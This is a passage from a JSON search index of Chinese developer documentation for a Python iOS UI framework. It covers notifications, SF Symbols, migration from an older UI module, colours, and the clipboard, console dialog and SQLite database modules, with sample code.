\"通知权限未开启\"\n return\n\n delay = max(1, int(state.minutes)) * 60\n result = notification.schedule(\n \"demo-reminder\",\n state.title,\n state.body,\n delay=delay,\n sound=state.sound,\n )\n if isinstance(result, dict) and result.get(\"success\"):\n state.status = f\"已安排:{state.minutes} 分钟后提醒\"\n else:\n state.status = f\"安排失败:{result}\"\n\n\ndef cancel_reminder():\n notification.remove_pending(\"demo-reminder\")\n state.status = \"已取消待发提醒\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form(\n [\n appui.Section(\n [\n appui.TextField(\"标题\", text=state.title, on_change=set_title),\n appui.TextField(\"内容\", text=state.body, on_change=set_body),\n appui.Stepper(\n \"延迟分钟\",\n value=state.minutes,\n minimum=1,\n maximum=240,\n on_change=set_minutes,\n ),\n appui.Toggle(\"声音\", is_on=state.sound, on_change=set_sound),\n ],\n header=\"提醒内容\",\n ),\n appui.Section(\n [\n appui.Button(\"安排提醒\", action=schedule_reminder)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消提醒\", action=cancel_reminder)\n .button_style(\"bordered\"),\n appui.LabeledContent(\"状态\", value=state.status),\n ],\n header=\"操作\",\n ),\n ]\n ).navigation_title(\"通知提醒\")\n ).on_appear(load_saved_settings)\n\n\nappui.run(body, state=state, presentation=\"fullscreen_with_close\") 关键技巧 先 request_permission(),再用稳定 identifier 调用 schedule / remove_pending 便于覆盖或取消。 request_permission() 返回 dict,无需 json.loads。 用户偏好用 storage.get_json / set_json 在 on_appear 与 on_change 中同步。" + }, + { + "id": "appui-appendix-symbols", + "title": "SF Symbols", + "subtitle": "Image、Label、Menu 中使用系统符号。", + "section": "appui / 速查", + "url": "pages/appui-appendix-symbols/", + "text": "SF Symbols Image、Label、Menu 中使用系统符号。 appui 速查 appui symbols reference SF Symbols system_image Image Label 图标 附录: SF Symbols 速查 SF Symbols 与 appui.Image(system_name=...)、appui.Label(title, system_image=...) 配合使用。下列名称均来自公开符号集(实际可用性随 iOS 版本略有差异;若单个符号缺失,请替换为同义图标)。 按类别速览(100+) 导航与结构 chevron.left, chevron.right, chevron.up, chevron.down, chevron.compact.left, chevron.compact.right, arrow.left, arrow.right, arrow.up, arrow.down, arrow.turn.up.left, arrow.turn.down.right, house, house.fill, gear, gearshape, gearshape.fill, sidebar.left, sidebar.right, line.3.horizontal, line.3.horizontal.decrease, ellipsis, ellipsis.circle, xmark, xmark.circle, xmark.circle.fill, plus, plus.circle, minus, menucard, square.grid.2x2, list.bullet, list.number 媒体播放 play, play.fill, play.circle, play.circle.fill, pause, pause.fill, stop, stop.fill, forward, forward.fill, backward, backward.fill, goforward, gobackward, speaker, speaker.fill, speaker.wave.2, speaker.wave.2.fill, speaker.slash, music.note, music.note.list, waveform, mic, mic.fill, camera, camera.fill, video, video.fill, film, film.fill 通信 envelope, envelope.fill, envelope.open.fill, phone, phone.fill, message, message.fill, bubble.left, bubble.left.fill, bubble.right, bubble.right.fill, paperplane, paperplane.fill, person.crop.circle, person.2.fill 文档与内容 doc, doc.fill, doc.text, doc.text.fill, doc.on.doc, doc.plaintext, folder, folder.fill, tray, tray.fill, tray.and.arrow.up, tray.and.arrow.down, archivebox, archivebox.fill, book, book.fill, books.vertical.fill, bookmark, bookmark.fill, tag, tag.fill, paperclip, link, link.circle 编辑与工具 pencil, pencil.circle, square.and.pencil, trash, trash.fill, square.and.arrow.up, square.and.arrow.down, scissors, paintbrush, paintbrush.fill, wrench.and.screwdriver, hammer, eyedropper, crop, slider.horizontal.3 状态与反馈 checkmark, checkmark.circle, checkmark.circle.fill, xmark.seal, exclamationmark.triangle, exclamationmark.triangle.fill, info.circle, info.circle.fill, bell, bell.fill, bell.badge, star, star.fill, heart, heart.fill, flag, flag.fill, hand.thumbsup.fill, hand.thumbsdown.fill 天气与自然 sun.max, sun.max.fill, moon, moon.fill, cloud, cloud.fill, cloud.sun.fill, cloud.rain, cloud.rain.fill, cloud.bolt.rain.fill, wind, snowflake, tornado, humidity, thermometer.sun, thermometer.snowflake, thermometer.medium 系统与设备 wifi, wifi.slash, antenna.radiowaves.left.and.right, battery.100, battery.25, bolt.horizontal, lock, lock.fill, lock.open.fill, key, key.fill, person, person.fill, person.crop.circle.fill, faceid, touchid, mappin, mappin.and.ellipse, map, map.fill, location, location.fill, network, cpu, memorychip 数学与符号 plus, plus.circle.fill, minus, minus.circle.fill, multiply, multiply.circle.fill, divide, divide.circle.fill, equal, percent, function, sum, number, numbers.rectangle, x.squareroot 几何形状符号 circle, circle.fill, square, square.fill, triangle, triangle.fill, diamond, diamond.fill, hexagon, hexagon.fill, octagon, octagon.fill, capsule, capsule.fill, oval, oval.fill, rhombus, rhombus.fill Image 与 Label 示例 import appui\n\nstate = appui.State(highlight=False)\n\n\ndef toggle_highlight():\n state.highlight = not state.highlight\n\n\ndef body():\n icon = \"star.fill\" if state.highlight else \"star\"\n return appui.NavigationStack(\n appui.VStack(\n [\n appui.HStack(\n [\n appui.Image(system_name=icon)\n .foreground_color(\"systemYellow\")\n .image_scale(\"large\"),\n appui.Label(\"收藏\", system_image=icon).foreground_color(\"label\"),\n ],\n spacing=16,\n ),\n appui.Button(\n \"切换\",\n action=toggle_highlight,\n ).button_style(\"bordered\"),\n ],\n spacing=24,\n )\n .padding(24)\n .navigation_title(\"SF Symbols\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 使用建议 层次 :导航栏、列表行内小图标优先使用 Image;需要标题+图标组合时用 Label。 渲染模式 :对多色符号可尝试链式 .symbol_rendering_mode(\"palette\") 等(参见 修饰符 API)。 可访问性 :若图标单独承载语义,请为可点击区域补充 .accessibility_label(\"…\")。 在列表行里组合 Label import appui\n\nstate = appui.State(items=[\"下载\", \"设置\", \"关于\"])\n\n\ndef row_key(title):\n return title\n\n\ndef row_view(title):\n return appui.Label(title, system_image=\"folder.fill\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"项目\", [\n appui.ForEach(state.items, row_builder=row_view, key=row_key)\n ])\n ]).navigation_title(\"符号行\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 命名提示 多数 SF Symbol 同时提供 线框 与 填充 变体(如 heart 与 heart.fill);列表与工具栏中填充变体更易辨认。 名称区分大小写,需与 Apple 官方字符串完全一致;若编译或运行期提示缺失,优先换用同目录下的替代符号。 在 Menu 的 content 中使用 Button(..., content=Label(...)) 可构建带图标的菜单项,与 Image 单独放置相比更利于对齐系统样式。 与文档约定一致的分类速记(便于检索) 下列分组与示例和主文档中常用命名一致,可与上文「按类别速览」交叉对照。若符号在某 iOS 版本不可用,请以系统 SF Symbols 目录为准替换为同义图标。 导航(常用) chevron.left, chevron.right, arrow.left, arrow.right, house.fill, gear, sidebar.left, line.3.horizontal 媒体(常用) play.fill, pause.fill, stop.fill, forward.fill, backward.fill, speaker.wave.2.fill, mic.fill, camera.fill, photo.fill 通信(常用) envelope.fill, phone.fill, message.fill, bubble.left.fill, paperplane.fill 内容(常用) doc.fill, doc.text.fill, folder.fill, tray.fill, archivebox.fill, book.fill, bookmark.fill 编辑(常用) pencil, trash.fill, doc.on.doc, square.and.arrow.up, square.and.arrow.down, scissors, paintbrush.fill 状态(常用) checkmark, xmark, exclamationmark.triangle.fill, info.circle.fill, bell.fill, star.fill, heart.fill, flag.fill 天气(常用) sun.max.fill, moon.fill, cloud.fill, cloud.rain.fill, wind, snowflake, thermometer 系统(常用) wifi, antenna.radiowaves.left.and.right, battery.100, lock.fill, key.fill, person.fill, mappin 数学(常用) plus, minus, multiply, divide, equal, number 形状符号(常用) circle.fill, square.fill, triangle.fill, diamond.fill, hexagon.fill 版本与渲染说明 Apple 会持续在 SF Symbols 大版本中加入新名称; 同一字符串 在旧系统上可能静默降级或无法显示,上线前请在目标最低 iOS 版本上实机扫一遍图标网格。 Image(system_name=...) 默认走模板渲染;需要保留多色符号时,使用链式 .symbol_rendering_mode(\"multicolor\")。 在 ToolbarItem 或 List 行内,Label 通常比裸 Image + Text 更省代码,且与系统间距对齐更一致。 Menu + Label 最小示例 import appui\n\nstate = appui.State(picked=\"\")\n\n\ndef pick_copy():\n state.picked = \"copy\"\n\n\ndef pick_trash():\n state.picked = \"trash\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack(\n [\n appui.Menu(\n title=\"更多\",\n content=[\n appui.Button(\n action=pick_copy,\n content=appui.Label(\"复制\", system_image=\"doc.on.doc\"),\n ),\n appui.Button(\n action=pick_trash,\n role=\"destructive\",\n content=appui.Label(\"删除\", system_image=\"trash.fill\"),\n ),\n ],\n ),\n appui.Text(f\"上次操作: {state.picked or '无'}\").padding(top=12),\n ],\n spacing=16,\n )\n .padding(24)\n .navigation_title(\"菜单与符号\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 注意:Menu 的 content 为 Button 列表;带图标的条目使用 Button(..., content=Label(...))。 检索建议 在 macOS 上打开 SF Symbols 应用,复制名称到 system_image=;不要凭记忆手写符号名。对同一语义准备 主符号 + 备用符号 (例如 doc.text.fill 不可用时退回 doc.fill),可减少用户设备差异带来的空白图标。" + }, + { + "id": "appui-appendix-migration", + "title": "从 ui 迁移到 appui", + "subtitle": "命令式 旧版手动布局 API 写法迁移到声明式 AppUI。", + "section": "appui / 速查", + "url": "pages/appui-appendix-migration/", + "text": "从 ui 迁移到 appui 命令式 旧版手动布局 API 写法迁移到声明式 AppUI。 appui 速查 appui migration ui 迁移 ui appui State bind 从 ui 迁移到 appui ui 是命令式控件树,appui 是声明式 View 树。迁移时不要逐行翻译控件操作;先把界面状态整理出来,再用 body() 描述当前状态下的界面。 对照表 ui 写法 appui 写法 创建控件后设置属性 在构造函数和修饰符链里声明属性 `view.add_subview(...)` `VStack/HStack/ZStack/List/Form` 组合子 View 回调里直接改控件 回调里改 `State` 手动 push/present `NavigationStack`、sheet、alert 保存控件实例用于后续修改 保存状态或 `Ref` frame 手算布局 Stack/Grid/frame/padding 最小迁移例子 旧 ui 思路: import ui\n\ncount = 0\nlabel = ui.Label(text=\"0\")\n\ndef add(sender):\n global count\n count += 1\n label.text = str(count)\n\nbutton = ui.Button(title=\"Add\")\nbutton.action = add appui 写法: import appui\n\nstate = appui.State(count=0)\n\n\ndef increment():\n state.count += 1\n\n\ndef body():\n return appui.VStack([\n appui.Text(str(state.count)).font(\"largeTitle\").bold(),\n appui.Button(\"Add\", action=increment),\n ], spacing=16).padding()\n\n\nappui.run(body, state=state) 重点不是 Label Text,而是“控件文本”变成了 state.count 的投影。 列表迁移 旧写法通常是维护 table 数据源并手动刷新。appui 里直接让列表来自状态。 import appui\n\nstate = appui.State(items=[\"Milk\", \"Coffee\"])\n\n\ndef add_item():\n state.items = list(state.items) + [f\"Item {len(state.items) + 1}\"]\n\n\ndef item_key(item):\n return item\n\n\ndef row_view(item):\n return appui.Text(item)\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Items\", [\n appui.ForEach(state.items, row_builder=row_view, key=item_key)\n ])\n ])\n .navigation_title(\"List\")\n .toolbar([\n appui.ToolbarItem(\n placement=\"navigation_bar_trailing\",\n content=appui.Button(\"Add\", action=add_item),\n )\n ])\n )\n\n\nappui.run(body, state=state) 需要增删改的列表要么整体替换 state.items,要么使用 ObservableList;不要原地修改普通 list 后期待 UI 自动刷新。 表单迁移 ui.TextField 的 action / delegate 通常迁移成绑定。 import appui\n\nstate = appui.State(name=\"\", notifications=True)\n\n\ndef set_name(value):\n state.name = value\n\n\ndef set_notifications(value):\n state.notifications = value\n\n\ndef body():\n return appui.Form([\n appui.Section(\"Profile\", [\n appui.TextField(\"Name\", text=state.name, on_change=set_name),\n appui.Toggle(\"Notifications\", is_on=state.notifications, on_change=set_notifications),\n ]),\n appui.Section(\"Preview\", [\n appui.Text(f\"Hello, {state.name or 'Guest'}\"),\n ]),\n ]).navigation_title(\"Profile\")\n\n\nappui.run(body, state=state) 表单字段用当前值加 on_change 写回;不要在多个地方维护同一个字段的副本。 导航迁移 命令式 present/push 迁移到数据化导航: import appui\n\npath = appui.NavigationPath()\nstate = appui.State(selected=\"A\")\n\n\ndef open_detail():\n state.selected = \"A\"\n path.append(\"detail\")\n\n\ndef go_back():\n path.pop()\n\n\ndef detail_destination(value):\n return appui.VStack([\n appui.Text(f\"Detail {state.selected}\").font(\"title2\"),\n appui.Button(\"Back\", action=go_back),\n ], spacing=12).padding()\n\n\ndef body():\n return appui.NavigationStack(\n content=appui.VStack([\n appui.Text(\"Home\"),\n appui.Button(\"Open detail\", action=open_detail),\n ], spacing=16).padding().navigation_title(\"Home\"),\n path=path,\n destinations={\n \"detail\": detail_destination,\n },\n )\n\n\nappui.run(body, state=state) 如果只是固定页面跳转,也可以用 NavigationLink。 迁移步骤 列出页面状态:文本、开关、选中项、列表数据、弹层显示状态。 把旧控件树改成 body() 返回的 View 树。 把“修改控件属性”的回调改成“修改 State”。 把 frame 手算布局改成 Stack/Grid/ScrollView。 把 push/present 改成 NavigationStack/sheet/alert。 每次迁移一屏,保留可运行入口。 不要直接翻译的写法 旧习惯 问题 appui 改法 `label.text = ...` 绕过状态源 `Text(f\"{state.value}\")` 全局保存控件对象 重建后对象可能失效 保存 `State` / `Ref` 手动设置每个 frame 不适配设备 Stack + frame + padding 回调里同时改很多字段 中间状态闪动 `state.batch_update(...)` 复制其他框架参数名 Python API 可能不同 查 appui API 参考 下一步 appui 思维方式 状态管理 布局系统 导航与呈现" + }, + { + "id": "appui-appendix-colors", + "title": "颜色参考", + "subtitle": "语义色、十六进制、RGB/RGBA 和深色模式建议。", + "section": "appui / 速查", + "url": "pages/appui-appendix-colors/", + "text": "颜色参考 语义色、十六进制、RGB/RGBA 和深色模式建议。 appui 速查 appui colors reference Color 颜色 hex rgb dark mode 附录: 颜色参考 appui 支持系统语义色、十六进制颜色、RGB 元组和灰度值。理解这些规则有助于在 Text、Shape、Chart 与修饰符中一致地配色。 支持的写法 形式 示例 说明 命名字符串 `\"systemBlue\"`、`\"label\"` 与 iOS 语义色、系统色名称一致(由 系统解析)。 十六进制 `\"#FF5533\"`、`\"#22AAFFAA\"` 支持 `#RRGGBB` 或带透明度的 8 位形式。 RGB / RGBA 元组 `(1.0, 0.2, 0.0)`、`(0, 0.5, 1, 0.4)` 分量范围为 **0.0–1.0**,转换为 `#RRGGBB` / `#RRGGBBAA`。 灰度标量 `0.35` 数值会转换为对应灰度颜色。 `Color` 视图 `appui.Color(value=\"systemTeal\")` 用于在布局中放置一块纯色区域;亦可用 `red` / `green` / `blue` 分量构造。 语义色与背景层次 下列名称常用于阅读层次与背景分层(浅色模式下对比更明显;深色模式下系统会自动调整对比度): 文字层次 :label、secondaryLabel、tertiaryLabel 背景层次 :systemBackground、secondarySystemBackground、tertiarySystemBackground 分隔与填充 :separator、systemFill、secondarySystemFill、tertiarySystemFill(若当前 SDK 映射存在) 系统强调色(摘录) 适合图表、图标与强调文案:systemBlue、systemRed、systemGreen、systemOrange、systemPurple、systemPink、systemYellow、systemTeal、systemCyan、systemIndigo、systemGray、systemBrown、systemMint 深浅色对比的实践建议 正文与背景 :正文优先 label 配 systemBackground,次级说明用 secondaryLabel,避免硬编码纯黑纯白。 卡片与列表 :卡片背景用 secondarySystemBackground 或 tertiarySystemBackground,分隔用 separator 或细线 Divider()。 强调操作 :主按钮 tint 与关键数字可用 systemBlue 或品牌主色十六进制;警告用 systemOrange / systemRed。 强制预览 :调试深浅色时,可在根视图上链式调用 .preferred_color_scheme('light') 或 .preferred_color_scheme('dark')(参见下方示例)。 可运行示例:色板与深浅切换 import appui\n\nstate = appui.State(\n preview_dark=True,\n accent_hex=\"#5AC8FA\",\n)\n\n\ndef swatch_row(title, color_token):\n return appui.HStack(\n [\n appui.Text(title).frame(max_width=appui.infinity, alignment=\"leading\"),\n appui.Rectangle()\n .fill(color_token)\n .frame(width=52, height=30)\n .corner_radius(6)\n .overlay(appui.Rectangle().stroke(\"separator\", line_width=1).corner_radius(6)),\n ],\n spacing=12,\n )\n\n\ndef set_preview_dark(value):\n state.preview_dark = bool(value)\n\n\ndef set_accent_hex(value):\n state.accent_hex = value\n\n\ndef body():\n scheme = \"dark\" if state.preview_dark else \"light\"\n palette = appui.Form(\n [\n appui.Section(\n content=[\n appui.Toggle(\n \"深色预览\",\n is_on=state.preview_dark,\n on_change=set_preview_dark,\n ),\n appui.LabeledContent(\n \"自定义强调色\",\n content=appui.ColorPicker(\n label=\"\",\n selection=state.accent_hex,\n on_change=set_accent_hex,\n ),\n ),\n ],\n header=\"外观\",\n ),\n appui.Section(\n content=[\n swatch_row(\"label\", \"label\"),\n swatch_row(\"secondaryLabel\", \"secondaryLabel\"),\n swatch_row(\"systemBackground\", \"systemBackground\"),\n swatch_row(\"secondarySystemBackground\", \"secondarySystemBackground\"),\n ],\n header=\"语义色\",\n ),\n appui.Section(\n content=[\n swatch_row(\"systemBlue\", \"systemBlue\"),\n swatch_row(\"systemGreen\", \"systemGreen\"),\n swatch_row(\"systemOrange\", \"systemOrange\"),\n swatch_row(\"RGB 元组红\", (0.95, 0.2, 0.25)),\n swatch_row(\"十六进制\", state.accent_hex),\n ],\n header=\"强调与自定义\",\n ),\n ]\n ).navigation_title(\"颜色参考\")\n return appui.NavigationStack(palette).preferred_color_scheme(scheme)\n\n\nappui.run(body, state=state, presentation=\"sheet\") 与 Shape / Chart 的配合 Rectangle().fill(\"systemIndigo\") 与 RoundedRectangle(corner_radius=8).fill((0.2, 0.6, 0.9)) 都支持同样的颜色表达。 Chart(..., color=\"systemTeal\") 的 color 参数同样支持上述写法。 常见误区 混用 0–255 与 0–1 :元组形式为 0–1 浮点 ;若手边是 8 位 RGB,请先除以 255 或改用 RRGGBB 字符串。 过度使用纯语义灰 :图表多系列时,仍建议为每条序列指定可区分的系统色或十六进制色。 浅色与深色下的观感差异(概念说明) 语义色并非固定 RGB,而是随 traitCollection 与界面层级自动映射: 在 浅色 模式下,systemBackground 趋向明亮底,label 趋向近黑文本,层次靠 secondaryLabel 等拉开。 在 深色 模式下,同一 token 会切换为更高对比、更低眩光的组合,避免大块刺眼的纯白。 调试时可用上文示例中的 .preferred_color_scheme('light' 'dark') 固定外观;发布给用户时通常移除该修饰符以尊重系统设置。 与 foreground_color / foreground_style / tint 的分工 foreground_color:多用于 Text、Image 等着色前景内容。 foreground_style:可承载更复杂的前景色描述,如渐变名或材质名。 tint:作用于控件强调色(如按钮、开关),与 Button(...).button_style(\"bordered_prominent\") 等组合时影响默认着色。 可运行片段:纯色条与十六进制 下面是一段不依赖 NavigationStack 的极简布局,用于快速验证十六进制、元组和语义色是否能正常渲染。 import appui\n\nstate = appui.State()\n\n\ndef body():\n return appui.VStack(\n [\n appui.Text(\"Hex 与元组\").font(\"headline\"),\n appui.HStack(\n [\n appui.Rectangle().fill(\"#34C759\").frame(width=60, height=32).corner_radius(6),\n (\n appui.Rectangle()\n .fill((0.95, 0.45, 0.1))\n .frame(width=60, height=32)\n .corner_radius(6)\n ),\n (\n appui.Rectangle()\n .fill(\"systemIndigo\")\n .frame(width=60, height=32)\n .corner_radius(6)\n ),\n ],\n spacing=12,\n ),\n ],\n spacing=16,\n ).padding(24)\n\n\nappui.run(body, state=state, presentation=\"sheet\") 语义色与系统色速查表(字符串字面量) 下列名称均可直接传给 foreground_color、background(color=...)、tint、Chart(..., color=...) 等接受颜色值的 API。 文本与灰阶 label, secondaryLabel, tertiaryLabel 背景层次 systemBackground, secondarySystemBackground, tertiarySystemBackground 分隔与填充 separator, systemFill, secondarySystemFill, tertiarySystemFill 系统强调色(摘录) systemBlue, systemRed, systemGreen, systemOrange, systemPurple, systemPink, systemYellow, systemTeal, systemCyan, systemIndigo, systemGray, systemBrown, systemMint 在深浅色之间切换时,上述 token 的相对对比度由系统维护;自定义十六进制色不会自动随模式反转,需要自行准备两套色值或在运行时根据 preferred_color_scheme 切换。 设计检查清单 主要正文是否使用 label 而非硬编码 \"black\" / \"white\"。 卡片背景是否比页面背景高一级(secondarySystemBackground 对比 systemBackground)。 图表是否为每条序列选择可区分的系统色或品牌色,并避免红绿色盲仅靠红/绿区分关键状态。 是否在调试完成后移除强制的 .preferred_color_scheme,以尊重用户系统设置。" + }, + { + "id": "clipboard-module", + "title": "clipboard", + "subtitle": "读取、写入和清空系统剪贴板。", + "section": "iOS 原生模块 / 基础与权限", + "url": "pages/clipboard-module/", + "text": "clipboard 读取、写入和清空系统剪贴板。 iOS 原生模块 基础与权限 Pasteboard Copy Text clipboard pasteboard copy paste get_text set_text clipboard 读写系统剪贴板:复制、粘贴、清空文本。 边界 :适合用户明确的复制/粘贴动作,不是持久化存储。token / 密码请用 keychain;长期保存文本用 storage。剪贴板是系统共享状态,其他 App 可能改写内容。 模块概览 项 说明 导入 `import clipboard` 适合做什么 复制链接/代码、粘贴用户剪贴内容、分享前准备 调用时机 放在按钮回调;不要在启动时静默 `set` 覆盖用户剪贴板 推荐顺序 用户点击复制 → `set` → 更新状态;粘贴时 `get` 并判空 兼容别名 `get_text()` / `set_text()` 等同于 `get()` / `set()` 快速开始 下面脚本写入、读取并清空剪贴板: import clipboard\n\nclipboard.set(\"来自 PythonIDE 的文本\")\nprint(\"剪贴板:\", clipboard.get())\n\nclipboard.clear()\nprint(\"清空后:\", repr(clipboard.get())) AppUI 示例 复制和粘贴都放在按钮回调里,操作后给出可见反馈。 import appui\nimport clipboard\n\nstate = appui.State(\n text=\"https://www.python.org\",\n status=\"等待操作\",\n preview=\"—\",\n)\n\n\ndef update_text(value):\n state.text = value\n\n\ndef copy_text():\n if not state.text.strip():\n state.status = \"没有可复制的内容\"\n return\n clipboard.set(state.text)\n state.batch_update(\n status=\"已复制到剪贴板\",\n preview=state.text[:60] + (\"…\" if len(state.text) > 60 else \"\"),\n )\n\n\ndef paste_text():\n value = clipboard.get()\n if value:\n state.batch_update(\n text=value,\n status=\"已从剪贴板粘贴\",\n preview=value[:60] + (\"…\" if len(value) > 60 else \"\"),\n )\n else:\n state.status = \"剪贴板为空\"\n\n\ndef clear_clipboard():\n clipboard.clear()\n state.batch_update(status=\"已清空剪贴板\", preview=\"—\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"文本\", [\n appui.TextField(\"内容\", text=state.text, on_change=update_text),\n appui.LabeledContent(\"预览\", value=state.preview),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"复制\", action=copy_text)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"粘贴\", action=paste_text),\n appui.Button(\"清空剪贴板\", action=clear_clipboard, role=\"destructive\"),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"剪贴板\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `get()` 读取剪贴板文字 → `str`(空时 `\"\"`) `set(text)` 写入字符串 `clear()` 清空剪贴板 `get_text()` 兼容别名,同 `get()` `set_text(text)` 兼容别名,同 `set()` 读写 get() — 获取当前剪贴板文本,无内容时返回空字符串。 set(text) — 将字符串写入系统剪贴板,会覆盖当前内容。 import clipboard\n\nclipboard.set(\"要复制的链接\")\nvalue = clipboard.get() clear() — 清空剪贴板(内部写入空字符串)。 clipboard.clear() Pythonista 兼容别名 别名 等价于 `get_text()` `get()` `set_text(text)` `set(text)` 旧脚本可直接迁移,无需改调用名。 常见错误 错误写法 后果 修正 启动时自动 `set` 静默覆盖用户剪贴板 只在用户点击后写入 用剪贴板存 token 易被其他 App 读到 使用 [keychain](keychain-module) 复制后无反馈 用户不知道是否成功 更新 `State` 状态文案 缓存剪贴板旧值 其他 App 改写后仍用旧数据 每次粘贴重新 `get()` 相关文档 文档 用途 [keychain](keychain-module) 安全保存 token / 密码 [storage](storage-module) 长期保存非敏感配置 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "console-module", + "title": "console", + "subtitle": "原生弹窗、HUD 和控制台样式。", + "section": "iOS 原生模块 / 基础与权限", + "url": "pages/console-module/", + "text": "console 原生弹窗、HUD 和控制台样式。 iOS 原生模块 基础与权限 Alert HUD Style console alert hud_alert set_color write_link input_alert console 控制台与原生弹窗:阻塞式 alert / input_alert、HUD 提示、控制台颜色与链接(Pythonista 兼容 API)。 边界 :弹窗 API 阻塞调用线程 直到用户操作;在 AppUI 中应放在按钮回调。set_color / clear 作用于脚本控制台输出,不是 SwiftUI 界面样式。 模块概览 项 说明 导入 `import console` 适合做什么 快速确认、输入一行文字、登录框、HUD 反馈 调用时机 弹窗放在按钮回调;勿在 `body()` 自动弹出 推荐顺序 需要输入 → `input_alert`;仅确认 → `alert` 取消 用户点取消抛 `KeyboardInterrupt` 快速开始 import console\n\nchoice = console.alert(\"确认\", \"确定删除这条记录吗?\", button1=\"删除\", button2=\"取消\")\nif choice == 1:\n print(\"已确认删除\")\n\nname = console.input_alert(\"输入\", \"你的名字\", input_text=\"\")\nconsole.hud_alert(\"已保存\", icon=\"checkmark\", duration=1.5) 控制台样式: import console\n\nconsole.set_color(0.2, 0.6, 1.0)\nprint(\"蓝色文字\")\nconsole.set_color() # 重置\nconsole.write_link(\"Python 官网\", \"https://www.python.org\") AppUI 示例 弹窗与 HUD 放在按钮回调。 import appui\nimport console\n\nstate = appui.State(\n last_input=\"—\",\n last_choice=\"—\",\n status=\"点击按钮体验\",\n)\n\n\ndef show_alert():\n try:\n idx = console.alert(\n \"确认操作\",\n \"这是一个原生 alert 示例\",\n button1=\"好的\",\n button2=\"算了\",\n )\n state.last_choice = f\"按钮 {idx}\"\n state.status = \"alert 已关闭\"\n except KeyboardInterrupt:\n state.status = \"用户取消\"\n\n\ndef show_input():\n try:\n text = console.input_alert(\"输入\", \"说点什么\", input_text=\"Hello\")\n state.last_input = text\n state.status = \"input 已完成\"\n console.hud_alert(\"收到\", duration=1.2)\n except KeyboardInterrupt:\n state.status = \"输入已取消\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"弹窗\", [\n appui.Button(\"显示 Alert\", action=show_alert)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"显示 Input\", action=show_input),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"Alert\", value=state.last_choice),\n appui.LabeledContent(\"Input\", value=state.last_input),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"控制台弹窗\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `alert(title, message, *, button1='OK', ...)` 多按钮弹窗 → 1-based 索引 `input_alert(title, message, input_text='', ...)` 带输入框 → `str` `login_alert(...)` 用户名+密码 → `(user, password)` `password_alert(...)` 密码框 → `str` `hud_alert(message, icon='', duration=1.5)` 短暂 HUD 提示 `set_color(r, g, b)` / `set_font(name, size)` 控制台样式 `clear()` 清空控制台 `write_link(title, url)` 输出可点击链接 alert idx = console.alert(\"标题\", \"正文\", button1=\"确定\", button2=\"取消\")\n# 1 | 2 | 3;取消抛 KeyboardInterrupt input_alert / login_alert / password_alert text = console.input_alert(\"输入\", ok_button_title=\"完成\")\nuser, pw = console.login_alert(\"登录\")\nsecret = console.password_alert(\"密码\") 原生能力入口不可用时回退到终端 input()。 常见错误 错误写法 后果 修正 在 `body()` 里 `alert` 每次刷新弹窗 放进按钮回调 忽略 `KeyboardInterrupt` 取消时崩溃 `try/except KeyboardInterrupt` 用 `console` 做 AppUI 布局 API 不匹配 用 [appui](appui) 组件 主线程长阻塞 界面假死 弹窗本身会阻塞,避免嵌套多层 相关文档 文档 用途 [dialogs](dialogs-module) 另一套原生对话框 API [appui](appui) 声明式界面 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "database-module", + "title": "database", + "subtitle": "MiniApp 作用域内 SQLite 数据库和 JSON collection。", + "section": "iOS 原生模块 / 基础与权限", + "url": "pages/database-module/", + "text": "database MiniApp 作用域内 SQLite 数据库和 JSON collection。 iOS 原生模块 基础与权限 SQLite Database Persistence database sqlite collection transaction query 数据库 database MiniApp 作用域内的原生 SQLite 持久化:可查询的历史、收藏、缓存与业务表。 边界 :数据库文件自动放在当前 MiniApp 数据目录,并由宿主原生 SQLite 桥管理连接、statement 生命周期和事务。小型开关/主题用 storage;token/密码用 keychain。只传文件名(如 \"media\"),不要传绝对路径或 ../;MiniApp 不要直接 import sqlite3。 模块概览 项 说明 导入 `import database` 适合做什么 播放历史、收藏、离线缓存、可排序列表、业务表 两条路径 大多数场景用 `collection()`;需要索引/JOIN 用 `open()` + SQL 调用时机 启动时读取、按钮回调写入;长任务结束可 `close()` 安全写入 SQL 用 `?` 参数绑定,不要拼接用户输入 快速开始 下面脚本用 Collection API 写入并列出收藏: import database\n\nfavorites = database.collection(\"favorites\")\n\nfavorites.upsert(\"movie-1\", {\"title\": \"示例电影\", \"rating\": 9.2})\nprint(favorites.get(\"movie-1\"))\nprint(favorites.count())\n\nfor item in favorites.list(order_by=\"updated_at desc\", limit=10):\n print(item[\"title\"], item[\"rating\"]) AppUI 示例 用 Collection 管理列表示例数据;按钮触发增删查。 import appui\nimport database\n\nfavorites = database.collection(\"demo_favorites\")\n\nstate = appui.State(\n status=\"等待操作\",\n count=\"0\",\n items=[],\n)\n\n\ndef item_key(row):\n return row[\"id\"]\n\n\ndef item_row(row):\n return appui.HStack([\n appui.Text(row[\"title\"]),\n appui.Spacer(),\n appui.Text(row[\"rating\"]).foreground_color(\"secondaryLabel\"),\n ])\n\n\ndef refresh_list():\n rows = []\n for entry in favorites.items(order_by=\"updated_at desc\", limit=10):\n value = entry.get(\"value\") or {}\n rows.append({\n \"id\": entry[\"key\"],\n \"title\": value.get(\"title\", 